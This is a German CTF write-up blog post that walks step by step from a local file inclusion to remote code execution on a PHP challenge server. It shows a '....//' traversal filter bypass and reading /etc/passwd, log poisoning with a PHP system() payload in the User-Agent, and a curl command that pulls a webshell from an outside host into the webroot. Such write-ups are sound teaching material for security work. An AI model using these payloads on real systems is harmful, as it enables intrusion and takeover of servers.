Von LFI zu RCE - ein CTF Writeup

07.04.2023, 11:23 - Autor: Mark B.
Die CTF an der ich kürzlich teilnahm hatte 5 Aufgaben zu lösen. Zwei davon werde ich in diesem und den kommenden Artikel teilen, da ich die Lösungen für recht interessant halte. Außerdem sind diese zwei Challenges gute Beispiele dafür warum es für Entwickler nicht empfehlenswert ist, das Rad neu zu erfinden und eigene Wege zu gehen anstatt erprobte Filter zu verwenden.

Die Ausgangssituation

Nachdem ich sah, dass der URL-Parameter file den Wert prod_1.html enthält, dachte ich sofort daran, dass hier eventuell beliebige Dateien eingebunden werden können (LFI). Daher habe ich sofort die folgende URL ausprobiert:

http://7.37.8.37:8083/files.php?file=../../../../../etc/passwd

Hierbei sorgt ../../../../../etc/passwd dafür, dass ein paar Verzeichnisebenen nach oben gewechselt wird und dann die Datei passwd aus dem Ordner /etc geladen wird. Dies klappte jedoch nicht, dafür bekam ich folgende Fehlermeldung angezeigt:

Warning: include(files/etc/passwd): failed to open stream: No such file or directory in /var/www/html/files.php on line 6
Warning: include(): Failed opening 'files/etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/files.php on line 6

Damit sehen wir nicht nur den Pfad zum Webroot (/var/www/html/) sondern auch, dass es einen Filter geben muss, der zumindest ../ entfernt. Außerdem bedeutet die Verwendung von include(), dass PHP-Code ausgeführt werden kann!

Den Filter überwinden

Also testete ich diesen Filter mit der folgenden URL:

http://7.37.8.37:8083/files.php?file=./etc/passwd

Die Fehlermeldung zeigt mir, dass ./ nicht gelöscht wird - der Filter scheint also nur ../ zu berücksichtigen:

Warning: include(files/./etc/passwd): failed to open stream: No such file or directory in /var/www/html/files.php on line 6
Warning: include(): Failed opening 'files/./etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/files.php on line 6

Wenige Tests später hatte ich eine Lösung den Filter zu umgehen:

http://7.37.8.37:8083/files.php?file=./../test ------> files/./test
http://7.37.8.37:8083/files.php?file=....//test --> files/../test

Hierbei zielte der erste Test darauf ab, dass eventuell nur vorangestellte ../ gelöscht werden, was aber nicht der Fall war. Damit war klar, wie der Filter zu umgehen ist. Die zweite Zeile zeigt wie dies geht! Wenn aus ....// die rot hinterlegten ../ entfernt werden, bleibt ein ../ (grün hinterlegt) über. Also teste ich mit der folgenden URL, ob dies auch wirklich klappt:

http://7.37.8.37:8083/files.php?file=....//....//....//....//....//....//etc/passwd

Bingo! Ich sehe folgenden Text in der Webseite:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Da es nun möglich ist beliebige Dateien in der Webseite einzubinden und ich eine PHP-Seite vor mir habe, die eine Datei mit include() nachlädt, muss ich nur PHP-Code in die Datei einfügen, welche ich dann einbinden lasse...

Eine Webshell auf den Server bringen

Da Webserver in der Regel Log-Dateien schreiben in denen die Zugriffe verzeichnet werden, kann ich BurpSuite nutzen um ein HTTP-Request so zu manipulieren, dass es PHP-Code enthält.

Bevor ich dies mache, teste ich mit der folgenden URL ob die Log-Datei vorhanden und lesbar ist:

http://7.37.8.37:8083/files.php?file=....//....//....//....//....//....//var/log/apache2/access.log

Perfekt, dies klappt. Allerdings ist der Browser abgestürzt, da diese Datei einige MB groß ist und das Rendern scheinbar zu einem Fehler führte. Darum werde ich mich gleich kümmern aber zuerst sende ich die vorherige Anfrage an den Repeater-Tab in BurpSuite um die Daten im Header wie folgt zu verändern:

GET /files.php?file=....//....//....//....//....//....//etc/passwd HTTP/1.1
Host: 7.37.8.37:8083
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_GET['c']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Der gelb hinterlegte PHP-Code im User-Agent Feld wird genau so in die access.log geschrieben. Hierbei muss man beachten, dass die access.log quasi eine mit Leerzeichen getrennte Datei ist und Texte, die selber Leerzeichen enthalten in "" einschließt. Daher werden doppelte Anführungszeichen aus den Feldern entfernt und darum habe ich $_GET['c'] und nicht $_GET["c"] verwendet!

Das ergibt dann folgende Log-Zeile:

4.2.25.37 - - [06/Apr/2023:23:08:56 +0000] "GET /files.php?file=....//....//....//....//....//....//etc/passwd HTTP/1.1" 200 611 "-" "<?php system($_GET['c']); ?>"

Auch hier habe ich den PHP-Code gelb hinterlegt. Danach können wir uns eine Shell an einen anderen Ort schreiben, damit wir damit schneller arbeiten können. Dies machte ich mit der folgenden URL:

view-source:http://7.37.8.37:8083/files.php?file=....//....//....//....//....//var/log/apache2/access.log&c=echo%20%22%3C?php%20system(\$_GET[%27c%27]);%20?%3E%22%20%3E%20/tmp/shell

Hierbei sorg das view-source: in Google Chrome dafür, dass der Code nicht gerendert werden muss und wir nur den Quellcode betrachten. Ich habe auch hier wieder den Angriffs-Code gelb hinterlegt:

Ohne URL-Encoding sieht der Befehl wie folgt aus:

echo "<?php system(\$_GET['c']); ?>" > /tmp/shell

Hierbei habe ich /tmp als Ziel-Ordner gewählt, da ich nicht weiß, in welches Verzeichnis innerhalb des Webroot-Baumes ich schreiben darf. /tmp ist für jeden beschreibbar und damit der logische Zwischenschritt.

Nachdem ich mich ein wenig umgesehen hatte, konnte ich mit folgender URL meine Webshell SYPPS auf den Server laden:

view-source:http://7.37.8.37:8083/files.php?file=....//....//....//....//....//tmp/shell&c=curl%20http://hackenlernen.com/sypps.txt%20%3E%20/var/www/html/uploads/sypps.php

Danach kann ich mit http://7.37.8.37:8083/uploads/sypps.php auf SYPPS zugreifen: